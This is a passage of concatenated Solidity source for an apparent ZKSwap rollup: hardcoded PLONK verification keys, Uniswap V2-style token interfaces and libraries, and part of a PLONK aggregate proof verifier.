vk.gate_setup_commitments[6] = PairingsBn254.new_g1( 0x044edf69ce10cfb6206795f92c3be2b0d26ab9afd3977b789840ee58c7dbe927, 0x2a8aa20c106f8dc7e849bc9698064dcfa9ed0a4050d794a1db0f13b0ee3def37 ); vk.gate_selector_commitments[0] = PairingsBn254.new_g1( 0x136967f1a2696db05583a58dbf8971c5d9d1dc5f5c97e88f3b4822aa52fefa1c, 0x127b41299ea5c840c3b12dbe7b172380f432b7b63ce3b004750d6abb9e7b3b7a ); vk.gate_selector_commitments[1] = PairingsBn254.new_g1( 0x02fd5638bf3cc2901395ad1124b951e474271770a337147a2167e9797ab9d951, 0x0fcb2e56b077c8461c36911c9252008286d782e96030769bf279024fc81d412a ); vk.copy_permutation_commitments[0] = PairingsBn254.new_g1( 0x1865c60ecad86f81c6c952445707203c9c7fdace3740232ceb704aefd5bd45b3, 0x2f35e29b39ec8bb054e2cff33c0299dd13f8c78ea24a07622128a7444aba3f26 ); vk.copy_permutation_commitments[1] = PairingsBn254.new_g1( 0x2a86ec9c6c1f903650b5abbf0337be556b03f79aecc4d917e90c7db94518dde6, 0x15b1b6be641336eebd58e7991be2991debbbd780e70c32b49225aa98d10b7016 ); vk.copy_permutation_commitments[2] = PairingsBn254.new_g1( 0x213e42fcec5297b8e01a602684fcd412208d15bdac6b6331a8819d478ba46899, 0x03223485f4e808a3b2496ae1a3c0dfbcbf4391cffc57ee01e8fca114636ead18 ); vk.copy_permutation_commitments[3] = PairingsBn254.new_g1( 0x2e9b02f8cf605ad1a36e99e990a07d435de06716448ad53053c7a7a5341f71e1, 0x2d6fdf0bc8bd89112387b1894d6f24b45dcb122c09c84344b6fc77a619dd1d59 ); vk.copy_permutation_non_residues[0] = PairingsBn254.new_fr( 0x0000000000000000000000000000000000000000000000000000000000000005 ); vk.copy_permutation_non_residues[1] = PairingsBn254.new_fr( 0x0000000000000000000000000000000000000000000000000000000000000007 ); vk.copy_permutation_non_residues[2] = PairingsBn254.new_fr( 0x000000000000000000000000000000000000000000000000000000000000000a ); vk.g2_x = PairingsBn254.new_g2( [0x260e01b251f6f1c7e7ff4e580791dee8ea51d87a358e038b4efe30fac09383c1, 0x0118c4d5b837bcc2bc89b5b398b5974e9f5944073b32078b7e231fec938883b0], [0x04fc6369f7110fe3d25156c1bb9a72859cf2a04641f99ba4ee413c80da6a5fe4, 0x22febda3c0c0632a56475b4214e5615e11e6dd3f96e6cea2854a87d4dacc5e55] ); } function getVkAggregated5() internal pure returns(VerificationKey memory vk) { vk.domain_size = 16777216; vk.num_inputs = 1; vk.omega = PairingsBn254.new_fr(0x1951441010b2b95a6e47a6075066a50a036f5ba978c050f2821df86636c0facb); vk.gate_setup_commitments[0] = PairingsBn254.new_g1( 0x023cfc69ef1b002da66120fce352ede75893edd8cd8196403a54e1eceb82cd43, 0x2baf3bd673e46be9df0d43ca30f834671543c22db422f450b2efd8c931e9b34e ); vk.gate_setup_commitments[1] = PairingsBn254.new_g1( 0x23783fe0e5c3f83c02c864e25fe766afb727134c9a77ae6b9694efb7b46f31ab, 0x1903d01005e447d061c16323a1d604d8fbd4b5cc9b64945a71f1234d280c4d3a ); vk.gate_setup_commitments[2] = PairingsBn254.new_g1( 0x2897df6c6fa993661b2b0b0cf52460278e33533de71b3c0f7ed7c1f20af238c6, 0x042344afee0aed5505e59bce4ebbe942a91268a8af6b77ea95f603b5b726e8cb ); vk.gate_setup_commitments[3] = PairingsBn254.new_g1( 0x0fceed33e78426afc38d8a68c0d93413d2bbaa492b087125271d33d52bdb07b8, 0x0057e4f63be36edb56e91da931f3d0ba72d1862d4b7751c59b92b6ae9f1fcc11 ); vk.gate_setup_commitments[4] = PairingsBn254.new_g1( 0x14230a35f172cd77a2147cecc20b2a13148363cbab78709489a29d08001e26fb, 0x04f1040477d77896475080b5abb8091cda2cce4917ee0ba5dd62d0ab1be379b4 ); vk.gate_setup_commitments[5] = PairingsBn254.new_g1( 0x20d1a079ad80a8abb7fd8ba669dddbbe23231360a5f0ba679b6536b6bf980649, 0x120c5a845903bd6de4105eb8cef90e6dff2c3888ada16c90e1efb393778d6a4d ); vk.gate_setup_commitments[6] = PairingsBn254.new_g1( 0x1af6b9e362e458a96b8bbbf8f8ce2bdbd650fb68478360c408a2acf1633c1ce1, 0x27033728b767b44c659e7896a6fcc956af97566a5a1135f87a2e510976a62d41 ); vk.gate_selector_commitments[0] = PairingsBn254.new_g1( 0x0dbfb3c5f5131eb6f01e12b1a6333b0ad22cc8292b666e46e9bd4d80802cccdf, 0x2d058711c42fd2fd2eef33fb327d111a27fe2063b46e1bb54b32d02e9676e546 ); vk.gate_selector_commitments[1] = PairingsBn254.new_g1( 0x0c8c7352a84dd3f32412b1a96acd94548a292411fd7479d8609ca9bd872f1e36, 0x0874203fd8012d6976698cc2df47bca14bc04879368ade6412a2109c1e71e5e8 ); vk.copy_permutation_commitments[0] = PairingsBn254.new_g1( 0x1b17bb7c319b1cf15461f4f0b69d98e15222320cb2d22f4e3a5f5e0e9e51f4bd, 0x0cf5bc338235ded905926006027aa2aab277bc32a098cd5b5353f5545cbd2825 ); vk.copy_permutation_commitments[1] = PairingsBn254.new_g1( 0x0794d3cfbc2fdd756b162571a40e40b8f31e705c77063f30a4e9155dbc00e0ef, 0x1f821232ab8826ea5bf53fe9866c74e88a218c8d163afcaa395eda4db57b7a23 ); vk.copy_permutation_commitments[2] = PairingsBn254.new_g1( 0x224d93783aa6856621a9bbec495f4830c94994e266b240db9d652dbb394a283b, 0x161bcec99f3bc449d655c0ca59874dafe1194138eec91af34392b09a83338ca1 ); vk.copy_permutation_commitments[3] = PairingsBn254.new_g1( 0x1fa27e2916b2c11d39c74c0e61063190da31c102d2b7da5c0a61ec8c5e82f132, 0x0a815ee76cd8aa600e6f66463b25a0ee57814bfdf06c65a91ddc70cede41caae ); vk.copy_permutation_non_residues[0] = PairingsBn254.new_fr( 0x0000000000000000000000000000000000000000000000000000000000000005 ); vk.copy_permutation_non_residues[1] = PairingsBn254.new_fr( 0x0000000000000000000000000000000000000000000000000000000000000007 ); vk.copy_permutation_non_residues[2] = PairingsBn254.new_fr( 0x000000000000000000000000000000000000000000000000000000000000000a ); vk.g2_x = PairingsBn254.new_g2( [0x260e01b251f6f1c7e7ff4e580791dee8ea51d87a358e038b4efe30fac09383c1, 0x0118c4d5b837bcc2bc89b5b398b5974e9f5944073b32078b7e231fec938883b0], [0x04fc6369f7110fe3d25156c1bb9a72859cf2a04641f99ba4ee413c80da6a5fe4, 0x22febda3c0c0632a56475b4214e5615e11e6dd3f96e6cea2854a87d4dacc5e55] ); } } pragma solidity >=0.5.0 <0.7.0; import "./PlonkSingleCore.sol"; // Hardcoded constants to avoid accessing store contract KeysWithPlonkSingleVerifier is SingleVerifierWithDeserialize { function isBlockSizeSupportedInternal(uint32 _size) internal pure returns (bool) { if (_size == uint32(6)) { return true; } else if (_size == uint32(12)) { return true; } else if (_size == uint32(48)) { return true; } else if (_size == uint32(96)) { return true; } else if (_size == uint32(204)) { return true; } else if (_size == uint32(420)) { return true; } else { return false; } } function getVkExit() internal pure returns(VerificationKey memory vk) { vk.domain_size = 262144; vk.num_inputs = 1; vk.omega = PairingsBn254.new_fr(0x0f60c8fe0414cb9379b2d39267945f6bd60d06a05216231b26a9fcf88ddbfebe); vk.selector_commitments[0] = PairingsBn254.new_g1( 0x1abc710835cdc78389d61b670b0e8d26416a63c9bd3d6ed435103ebbb8a8665e, 0x138c6678230ed19f90b947d0a9027bd9fc458bbd1d2b8371fa72e28470a97b9c ); vk.selector_commitments[1] = PairingsBn254.new_g1( 0x28d81ac76e1ddf630b4bf8e4a789cf9c4470c5e5cc010a24849b20ab595b8b22, 0x251ca3cf0829b261d3be8d6cbd25aa97d9af716819c29f6319d806f075e79655 ); vk.selector_commitments[2] = PairingsBn254.new_g1( 0x1504c8c227833a1152f3312d258412c334ac7ae213e21427ff63028729bc28fa, 0x0f0942f3fede795cbe624fb9ddf9be90ba546609383f2246c3c9b92af7aab5fd ); vk.selector_commitments[3] = PairingsBn254.new_g1( 0x1f14a5bb19ea2897ac6b9fbdbd2b4e371be09f8e90a47ae26602d399c9bcd311, 0x029c6ea094247da75d9a66cea627c3c77d48b898003125d4f8e785435dc2cf23 ); vk.selector_commitments[4] = PairingsBn254.new_g1( 0x102cdd83e2d70638a70d700622b662607f8a2d92f5c36053a4ddb4b600d75bcf, 0x09ef3679579d761507ef69eaf49c978b271f0e4500468da1ebd7197f3ff5d6ac ); vk.selector_commitments[5] = PairingsBn254.new_g1( 0x2c2bd1d2fa3d4b3915d0fe465469e11ee563e79751da71c6082fcd0ca4e41cd5, 0x0304f16147a8af177dcc703370931d5161bda9dcf3e091787b9a54377ab54c32 ); // we only have access to value of the d(x) witness polynomial on the next // trace step, so we only need one element here and deal with it in other places // by having this in mind vk.next_step_selector_commitments[0] = PairingsBn254.new_g1( 0x14420680f992f4bc8d8012e2d8b14a774cf9114adf1e41b3c02c20cc1648398e, 0x237d3d5cdee5e3d7d58f4eb336ecd7aa5ec88d89205861b410420f6b9f6b26a1 ); vk.permutation_commitments[0] = PairingsBn254.new_g1( 0x221045ae5578ccb35e0a198d83c0fb191da8cdc98423fc46e580f1762682c73e, 0x15b7f3d74fcd258fdd2ae6001693a7c615e654d613a506d213aaf0ad314e338d ); vk.permutation_commitments[1] = PairingsBn254.new_g1( 0x03e47981b459b3be258a6353593898babec571ccf3e0362d53a67f078f04830a, 0x0809556ab6eb28403bb5a749fcdbd8656940add7685ff5473dc3a9ad940034df ); vk.permutation_commitments[2] = PairingsBn254.new_g1( 0x2c02322c53d7e6a6474b15c7db738419e3f4d1263e9f98ebb56c24906f555ef9, 0x2322c69f51366551665b584d797e0fdadb16fe31b1e7ae2f532847a75b3aeaab ); vk.permutation_commitments[3] = PairingsBn254.new_g1( 0x2147e39b49c2bef4168884c0ac9e38bb4dc65b41ba21953f7ded2daab7fe1534, 0x071f3548c9ca2c6a8d10b11d553263ebe0afaf1f663b927ef970bd6c3974cb68 ); vk.permutation_non_residues[0] = PairingsBn254.new_fr( 0x0000000000000000000000000000000000000000000000000000000000000005 ); vk.permutation_non_residues[1] = PairingsBn254.new_fr( 0x0000000000000000000000000000000000000000000000000000000000000007 ); vk.permutation_non_residues[2] = PairingsBn254.new_fr( 0x000000000000000000000000000000000000000000000000000000000000000a ); vk.g2_x = PairingsBn254.new_g2( [0x260e01b251f6f1c7e7ff4e580791dee8ea51d87a358e038b4efe30fac09383c1, 0x0118c4d5b837bcc2bc89b5b398b5974e9f5944073b32078b7e231fec938883b0], [0x04fc6369f7110fe3d25156c1bb9a72859cf2a04641f99ba4ee413c80da6a5fe4, 0x22febda3c0c0632a56475b4214e5615e11e6dd3f96e6cea2854a87d4dacc5e55] ); } function getVkLpExit() internal pure returns(VerificationKey memory vk) { vk.domain_size = 524288; vk.num_inputs = 1; vk.omega = PairingsBn254.new_fr(0x0cf1526aaafac6bacbb67d11a4077806b123f767e4b0883d14cc0193568fc082); vk.selector_commitments[0] = PairingsBn254.new_g1( 0x067d967299b3d380f2e461409fbacb82d9af8c85b62de082a423f344fb0b9d38, 0x2440bd569ac24e9525b29e433334ee98d72cb8eb19af65250ee0099fb470d873 ); vk.selector_commitments[1] = PairingsBn254.new_g1( 0x086a9ed0f6175964593e516a8c1fc8bbd0a9c8afb724ebbce08a7772bd7b8837, 0x0aca3794dc6a2f0cab69dfed529d31deb7a5e9e6c339e3c07d8d88df0f7abd6b ); vk.selector_commitments[2] = PairingsBn254.new_g1( 0x00b6bfec3aceb55618e6caf637c978c3fe2344568c64515022fcfa00e490eb97, 0x0f890fe6b9cb943fb4887df1529cdae99e2494eabf675f89905215eb51c29c6e ); vk.selector_commitments[3] = PairingsBn254.new_g1( 0x0968470be841bcbfbcccc10dd0d8b63a871cdb3289c214fc59f38c88ab15146a, 0x1a9b4d034050fa0b119bb64ba0e967fd09f224c6fd9cd8b54cd6f081085dfb98 ); vk.selector_commitments[4] = PairingsBn254.new_g1( 0x080dbe10de0cacf12db303a86049c7a4d42f068a9def099e0cb874008f210b1b, 0x02f17638d3410ab573e33a4e6c6cf0c918bea2aa4f1025ca5ee13d7a950c4058 ); vk.selector_commitments[5] = PairingsBn254.new_g1( 0x267043dbe00520bd8bbf55a96b51fde6b3b64219eca9e2fd8309693db0cf0392, 0x08dbbfa17faad841228af22a03fab7ec20f765036a2acae62f543f61e55b6e8c ); // we only have access to value of the d(x) witness polynomial on the next // trace step, so we only need one element here and deal with it in other places // by having this in mind vk.next_step_selector_commitments[0] = PairingsBn254.new_g1( 0x215141775449677e3dbe25ff6c5e5d99336a29d952a61d5ec87618346e78df30, 0x29502caeb6afaf2acd13766d52fac2907efb7d11c66cd8beb93c8321d380b215 ); vk.permutation_commitments[0] = PairingsBn254.new_g1( 0x150790105b9f5455ae6f91daa6b03c5793fb7bcfcd9d5d37d3b643b77535b10a, 0x2b644a9736282f80fae8d35f00cbddf2bba3560c54f3d036ec1c8014c147a506 ); vk.permutation_commitments[1] = PairingsBn254.new_g1( 0x1b898666ded092a449935de7d707ad8d65809c2baccdd7dd7cfdaf2fb27e1262, 0x2a24c241dcad93b7bdf1cce2427c9c54f731a7d50c27a825e2af3dabb66dc81f ); vk.permutation_commitments[2] = PairingsBn254.new_g1( 0x049892634dbbfa0c364523827cd7e604b70a7e24a4cb111cb8fccb7c05b04d7f, 0x1e5d8d7c0bf92d822dcf339a52c326a35cadf010b888b8f26e155a68c7e23dc9 ); vk.permutation_commitments[3] = PairingsBn254.new_g1( 0x04f90846cb1598aa05164a78d171ea918154414652d07d3f5cab84a26e6aa158, 0x0975ba8858f136bb8b1b043daf8dfed33709f72ba37e01e5de62c81f3928a13c ); vk.permutation_non_residues[0] = PairingsBn254.new_fr( 0x0000000000000000000000000000000000000000000000000000000000000005 ); vk.permutation_non_residues[1] = PairingsBn254.new_fr( 0x0000000000000000000000000000000000000000000000000000000000000007 ); vk.permutation_non_residues[2] = PairingsBn254.new_fr( 0x000000000000000000000000000000000000000000000000000000000000000a ); vk.g2_x = PairingsBn254.new_g2( [0x260e01b251f6f1c7e7ff4e580791dee8ea51d87a358e038b4efe30fac09383c1, 0x0118c4d5b837bcc2bc89b5b398b5974e9f5944073b32078b7e231fec938883b0], [0x04fc6369f7110fe3d25156c1bb9a72859cf2a04641f99ba4ee413c80da6a5fe4, 0x22febda3c0c0632a56475b4214e5615e11e6dd3f96e6cea2854a87d4dacc5e55] ); } } pragma solidity >=0.5.0; interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function initialize(address, address) external; function mint(address to, uint amount) external; function burn(address to, uint amount) external; } pragma solidity =0.5.16; import './interfaces/IUniswapV2ERC20.sol'; import './libraries/UniswapSafeMath.sol'; contract UniswapV2ERC20 is IUniswapV2ERC20 { using UniswapSafeMath for uint; string public constant name = 'ZKSWAP V2'; string public constant symbol = 'ZKS-V2'; uint8 public constant decimals = 18; uint public totalSupply; mapping(address => uint) public balanceOf; mapping(address => mapping(address => uint)) public allowance; event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); constructor() public { uint chainId; assembly { chainId := chainid } } function _mint(address to, uint value) internal { totalSupply = totalSupply.add(value); balanceOf[to] = balanceOf[to].add(value); emit Transfer(address(0), to, value); } function _burn(address from, uint value) internal { balanceOf[from] = balanceOf[from].sub(value); totalSupply = totalSupply.sub(value); emit Transfer(from, address(0), value); } function _approve(address owner, address spender, uint value) private { allowance[owner][spender] = value; emit Approval(owner, spender, value); } function _transfer(address from, address to, uint value) private { balanceOf[from] = balanceOf[from].sub(value); balanceOf[to] = balanceOf[to].add(value); emit Transfer(from, to, value); } function approve(address spender, uint value) external returns (bool) { _approve(msg.sender, spender, value); return true; } function transfer(address to, uint value) external returns (bool) { _transfer(msg.sender, to, value); return true; } function transferFrom(address from, address to, uint value) external returns (bool) { if (allowance[from][msg.sender] != uint(-1)) { allowance[from][msg.sender] = allowance[from][msg.sender].sub(value); } _transfer(from, to, value); return true; } } pragma solidity =0.5.16; // a library for performing various math operations library Math { function min(uint x, uint y) internal pure returns (uint z) { z = x < y ? x : y; } // babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method) function sqrt(uint y) internal pure returns (uint z) { if (y > 3) { z = y; uint x = y / 2 + 1; while (x < z) { z = x; x = (y / x + x) / 2; } } else if (y != 0) { z = 1; } } } pragma solidity =0.5.16; // a library for handling binary fixed point numbers (https://en.wikipedia.org/wiki/Q_(number_format)) // range: [0, 2**112 - 1] // resolution: 1 / 2**112 library UQ112x112 { uint224 constant Q112 = 2**112; // encode a uint112 as a UQ112x112 function encode(uint112 y) internal pure returns (uint224 z) { z = uint224(y) * Q112; // never overflows } // divide a UQ112x112 by a uint112, returning a UQ112x112 function uqdiv(uint224 x, uint112 y) internal pure returns (uint224 z) { z = x / uint224(y); } } pragma solidity >=0.5.0; interface IUNISWAPERC20 { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); } pragma solidity >=0.5.0; interface IUniswapV2Callee { function uniswapV2Call(address sender, uint amount0, uint amount1, bytes calldata data) external; } pragma solidity >=0.5.0 <0.7.0; pragma experimental ABIEncoderV2; import "./PlonkCoreLib.sol"; contract Plonk4AggVerifierWithAccessToDNext { uint256 constant r_mod = 21888242871839275222246405745257275088548364400416034343698204186575808495617; using PairingsBn254 for PairingsBn254.G1Point; using PairingsBn254 for PairingsBn254.G2Point; using PairingsBn254 for PairingsBn254.Fr; using TranscriptLibrary for TranscriptLibrary.Transcript; uint256 constant ZERO = 0; uint256 constant ONE = 1; uint256 constant TWO = 2; uint256 constant THREE = 3; uint256 constant FOUR = 4; uint256 constant STATE_WIDTH = 4; uint256 constant NUM_DIFFERENT_GATES = 2; uint256 constant NUM_SETUP_POLYS_FOR_MAIN_GATE = 7; uint256 constant NUM_SETUP_POLYS_RANGE_CHECK_GATE = 0; uint256 constant ACCESSIBLE_STATE_POLYS_ON_NEXT_STEP = 1; uint256 constant NUM_GATE_SELECTORS_OPENED_EXPLICITLY = 1; uint256 constant RECURSIVE_CIRCUIT_INPUT_COMMITMENT_MASK = 0x00ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff; uint256 constant LIMB_WIDTH = 68; struct VerificationKey { uint256 domain_size; uint256 num_inputs; PairingsBn254.Fr omega; PairingsBn254.G1Point[NUM_SETUP_POLYS_FOR_MAIN_GATE + NUM_SETUP_POLYS_RANGE_CHECK_GATE] gate_setup_commitments; PairingsBn254.G1Point[NUM_DIFFERENT_GATES] gate_selector_commitments; PairingsBn254.G1Point[STATE_WIDTH] copy_permutation_commitments; PairingsBn254.Fr[STATE_WIDTH-1] copy_permutation_non_residues; PairingsBn254.G2Point g2_x; } struct Proof { uint256[] input_values; PairingsBn254.G1Point[STATE_WIDTH] wire_commitments; PairingsBn254.G1Point copy_permutation_grand_product_commitment; PairingsBn254.G1Point[STATE_WIDTH] quotient_poly_commitments; PairingsBn254.Fr[STATE_WIDTH] wire_values_at_z; PairingsBn254.Fr[ACCESSIBLE_STATE_POLYS_ON_NEXT_STEP] wire_values_at_z_omega; PairingsBn254.Fr[NUM_GATE_SELECTORS_OPENED_EXPLICITLY] gate_selector_values_at_z; PairingsBn254.Fr copy_grand_product_at_z_omega; PairingsBn254.Fr quotient_polynomial_at_z; PairingsBn254.Fr linearization_polynomial_at_z; PairingsBn254.Fr[STATE_WIDTH-1] permutation_polynomials_at_z; PairingsBn254.G1Point opening_at_z_proof; PairingsBn254.G1Point opening_at_z_omega_proof; } struct PartialVerifierState { PairingsBn254.Fr alpha; PairingsBn254.Fr beta; PairingsBn254.Fr gamma; PairingsBn254.Fr v; PairingsBn254.Fr u; PairingsBn254.Fr z; PairingsBn254.Fr[] cached_lagrange_evals; } function evaluate_lagrange_poly_out_of_domain( uint256 poly_num, uint256 domain_size, PairingsBn254.Fr memory omega, PairingsBn254.Fr memory at ) internal view returns (PairingsBn254.Fr memory res) { require(poly_num < domain_size); PairingsBn254.Fr memory one = PairingsBn254.new_fr(1); PairingsBn254.Fr memory omega_power = omega.pow(poly_num); res = at.pow(domain_size); res.sub_assign(one); require(res.value != 0); // Vanishing polynomial can not be zero at point `at` res.mul_assign(omega_power); PairingsBn254.Fr memory den = PairingsBn254.copy(at); den.sub_assign(omega_power); den.mul_assign(PairingsBn254.new_fr(domain_size)); den = den.inverse(); res.mul_assign(den); } function evaluate_vanishing( uint256 domain_size, PairingsBn254.Fr memory at ) internal view returns (PairingsBn254.Fr memory res) { res = at.pow(domain_size); res.sub_assign(PairingsBn254.new_fr(1)); } function verify_at_z( PartialVerifierState memory state, Proof memory proof, VerificationKey memory vk ) internal view returns (bool) { PairingsBn254.Fr memory lhs = evaluate_vanishing(vk.domain_size, state.z); require(lhs.value != 0); // we can not check a polynomial relationship if point `z` is in the domain lhs.mul_assign(proof.quotient_polynomial_at_z); PairingsBn254.Fr memory quotient_challenge = PairingsBn254.new_fr(1); PairingsBn254.Fr memory rhs = PairingsBn254.copy(proof.linearization_polynomial_at_z); // public inputs PairingsBn254.Fr memory tmp = PairingsBn254.new_fr(0); PairingsBn254.Fr memory inputs_term = PairingsBn254.new_fr(0); for (uint256 i = 0; i < proof.input_values.length; i++) { tmp.assign(state.cached_lagrange_evals[i]); tmp.mul_assign(PairingsBn254.new_fr(proof.input_values[i])); inputs_term.add_assign(tmp); } inputs_term.mul_assign(proof.gate_selector_values_at_z[0]); rhs.add_assign(inputs_term); // now we need 5th power quotient_challenge.mul_assign(state.alpha); quotient_challenge.mul_assign(state.alpha); quotient_challenge.mul_assign(state.alpha); quotient_challenge.mul_assign(state.alpha); quotient_challenge.mul_assign(state.alpha); PairingsBn254.Fr memory z_part = PairingsBn254.copy(proof.copy_grand_product_at_z_omega); for (uint256 i = 0; i < proof.permutation_polynomials_at_z.length; i++) { tmp.assign(proof.permutation_polynomials_at_z[i]); tmp.mul_assign(state.beta); tmp.add_assign(state.gamma); tmp.add_assign(proof.wire_values_at_z[i]); z_part.mul_assign(tmp); } tmp.assign(state.gamma); // we need a wire value of the last polynomial in enumeration tmp.add_assign(proof.wire_values_at_z[STATE_WIDTH - 1]); z_part.mul_assign(tmp); z_part.mul_assign(quotient_challenge); rhs.sub_assign(z_part); quotient_challenge.mul_assign(state.alpha); tmp.assign(state.cached_lagrange_evals[0]); tmp.mul_assign(quotient_challenge); rhs.sub_assign(tmp); return lhs.value == rhs.value; } function add_contribution_from_range_constraint_gates( PartialVerifierState memory state, Proof memory proof, PairingsBn254.Fr memory current_alpha ) internal pure returns (PairingsBn254.Fr memory res) { // now add contribution from range constraint gate // we multiply selector commitment by all the factors (alpha*(c - 4d)(c - 4d - 1)(..-2)(..-3) + alpha^2 * (4b - c)()()() + {} + {}) PairingsBn254.Fr memory one_fr = PairingsBn254.new_fr(ONE); PairingsBn254.Fr memory two_fr = PairingsBn254.new_fr(TWO); PairingsBn254.Fr memory three_fr = PairingsBn254.new_fr(THREE); PairingsBn254.Fr memory four_fr = PairingsBn254.new_fr(FOUR); res = PairingsBn254.new_fr(0); PairingsBn254.Fr memory t0 = PairingsBn254.new_fr(0); PairingsBn254.Fr memory t1 = PairingsBn254.new_fr(0); PairingsBn254.Fr memory t2 = PairingsBn254.new_fr(0); for (uint256 i = 0; i < 3; i++) { current_alpha.mul_assign(state.alpha); // high - 4*low // this is 4*low t0 = PairingsBn254.copy(proof.wire_values_at_z[3 - i]); t0.mul_assign(four_fr); // high t1 = PairingsBn254.copy(proof.wire_values_at_z[2 - i]); t1.sub_assign(t0); // t0 is now t1 - {0,1,2,3} // first unroll manually for -0; t2 = PairingsBn254.copy(t1); // -1 t0 = PairingsBn254.copy(t1); t0.sub_assign(one_fr); t2.mul_assign(t0); // -2 t0 = PairingsBn254.copy(t1); t0.sub_assign(two_fr); t2.mul_assign(t0); // -3 t0 = PairingsBn254.copy(t1); t0.sub_assign(three_fr); t2.mul_assign(t0); t2.mul_assign(current_alpha); res.add_assign(t2); } // now also d_next - 4a current_alpha.mul_assign(state.alpha); // high - 4*low // this is 4*low t0 = PairingsBn254.copy(proof.wire_values_at_z[0]); t0.mul_assign(four_fr); // high t1 = PairingsBn254.copy(proof.wire_values_at_z_omega[0]); t1.sub_assign(t0); // t0 is now t1 - {0,1,2,3} // first unroll manually for -0; t2 = PairingsBn254.copy(t1); // -1 t0 = PairingsBn254.copy(t1); t0.sub_assign(one_fr); t2.mul_assign(t0); // -2 t0 = PairingsBn254.copy(t1); t0.sub_assign(two_fr); t2.mul_assign(t0); // -3 t0 = PairingsBn254.copy(t1); t0.sub_assign(three_fr); t2.mul_assign(t0); t2.mul_assign(current_alpha); res.add_assign(t2); return res; } function reconstruct_linearization_commitment( PartialVerifierState memory state, Proof memory proof, VerificationKey memory vk ) internal view returns (PairingsBn254.G1Point memory res) { // we compute what power of v is used as a delinearization factor in batch opening of // commitments. Let's label W(x) = 1 / (x - z) * // [ // t_0(x) + z^n * t_1(x) + z^2n * t_2(x) + z^3n * t_3(x) - t(z) // + v (r(x) - r(z)) // + v^{2..5} * (witness(x) - witness(z)) // + v^{6} * (selector(x) - selector(z)) // + v^{7..9} * (permutation(x) - permutation(z)) // ] // W'(x) = 1 / (x - z*omega) * // [ // + v^10 (z(x) - z(z*omega)) <- we need this power // + v^11 * (d(x) - d(z*omega)) // ] // // we reconstruct linearization polynomial virtual selector // for that purpose we first linearize over main gate (over all it's selectors) // and multiply them by value(!) of the corresponding main gate selector res = PairingsBn254.copy_g1(vk.gate_setup_commitments[STATE_WIDTH + 1]); // index of q_const(x) PairingsBn254.G1Point memory tmp_g1 = PairingsBn254.P1(); PairingsBn254.Fr memory tmp_fr = PairingsBn254.new_fr(0); // addition gates for (uint256 i = 0; i < STATE_WIDTH; i++) { tmp_g1 = vk.gate_setup_commitments[i].point_mul(proof.wire_values_at_z[i]); res.point_add_assign(tmp_g1); } // multiplication gate tmp_fr.assign(proof.wire_values_at_z[0]); tmp_fr.mul_assign(proof.wire_values_at_z[1]); tmp_g1 = vk.gate_setup_commitments[STATE_WIDTH].point_mul(tmp_fr); res.point_add_assign(tmp_g1); // d_next tmp_g1 = vk.gate_setup_commitments[STATE_WIDTH+2].point_mul(proof.wire_values_at_z_omega[0]); // index of q_d_next(x) res.point_add_assign(tmp_g1); // multiply by main gate selector(z) res.point_mul_assign(proof.gate_selector_values_at_z[0]); // these is only one explicitly opened selector PairingsBn254.Fr memory current_alpha = PairingsBn254.new_fr(ONE); // calculate scalar contribution from the range check gate tmp_fr = add_contribution_from_range_constraint_gates(state, proof, current_alpha); tmp_g1 = vk.gate_selector_commitments[1].point_mul(tmp_fr); // selector commitment for range constraint gate * scalar res.point_add_assign(tmp_g1); // proceed as normal to copy permutation current_alpha.mul_assign(state.alpha); // alpha^5 PairingsBn254.Fr memory alpha_for_grand_product = PairingsBn254.copy(current_alpha); // z * non_res * beta + gamma + a PairingsBn254.Fr memory grand_product_part_at_z = PairingsBn254.copy(state.z); grand_product_part_at_z.mul_assign(state.beta); grand_product_part_at_z.add_assign(proof.wire_values_at_z[0]); grand_product_part_at_z.add_assign(state.gamma); for (uint256 i = 0; i < vk.copy_permutation_non_residues.length; i++) { tmp_fr.assign(state.z); tmp_fr.mul_assign(vk.copy_permutation_non_residues[i]); tmp_fr.mul_assign(state.beta); tmp_fr.add_assign(state.gamma); tmp_fr.add_assign(proof.wire_values_at_z[i+1]); grand_product_part_at_z.mul_assign(tmp_fr); } grand_product_part_at_z.mul_assign(alpha_for_grand_product); // alpha^n & L_{0}(z), and we bump current_alpha current_alpha.mul_assign(state.alpha); tmp_fr.assign(state.cached_lagrange_evals[0]); tmp_fr.mul_assign(current_alpha); grand_product_part_at_z.add_assign(tmp_fr); // prefactor for grand_product(x) is complete // add to the linearization a part from the term // - (a(z) + beta*perm_a + gamma)*()*()*z(z*omega) * beta * perm_d(X) PairingsBn254.Fr memory last_permutation_part_at_z = PairingsBn254.new_fr(1); for (uint256 i = 0; i < proof.permutation_polynomials_at_z.length; i++) { tmp_fr.assign(state.beta); tmp_fr.mul_assign(proof.permutation_polynomials_at_z[i]); tmp_fr.add_assign(state.gamma); tmp_fr.add_assign(proof.wire_values_at_z[i]); last_permutation_part_at_z.mul_assign(tmp_fr); } last_permutation_part_at_z.mul_assign(state.beta); last_permutation_part_at_z.mul_assign(proof.copy_grand_product_at_z_omega); last_permutation_part_at_z.mul_assign(alpha_for_grand_product); // we multiply by the power of alpha from the argument // actually multiply prefactors by z(x) and perm_d(x) and combine them tmp_g1 = proof.copy_permutation_grand_product_commitment.point_mul(grand_product_part_at_z); tmp_g1.point_sub_assign(vk.copy_permutation_commitments[STATE_WIDTH - 1].point_mul(last_permutation_part_at_z)); res.point_add_assign(tmp_g1); // multiply them by v immedately as linearization has a factor of v^1 res.point_mul_assign(state.v); // res now contains contribution from the gates linearization and // copy permutation part // now we need to add a part that is the rest // for z(x*omega): // - (a(z) + 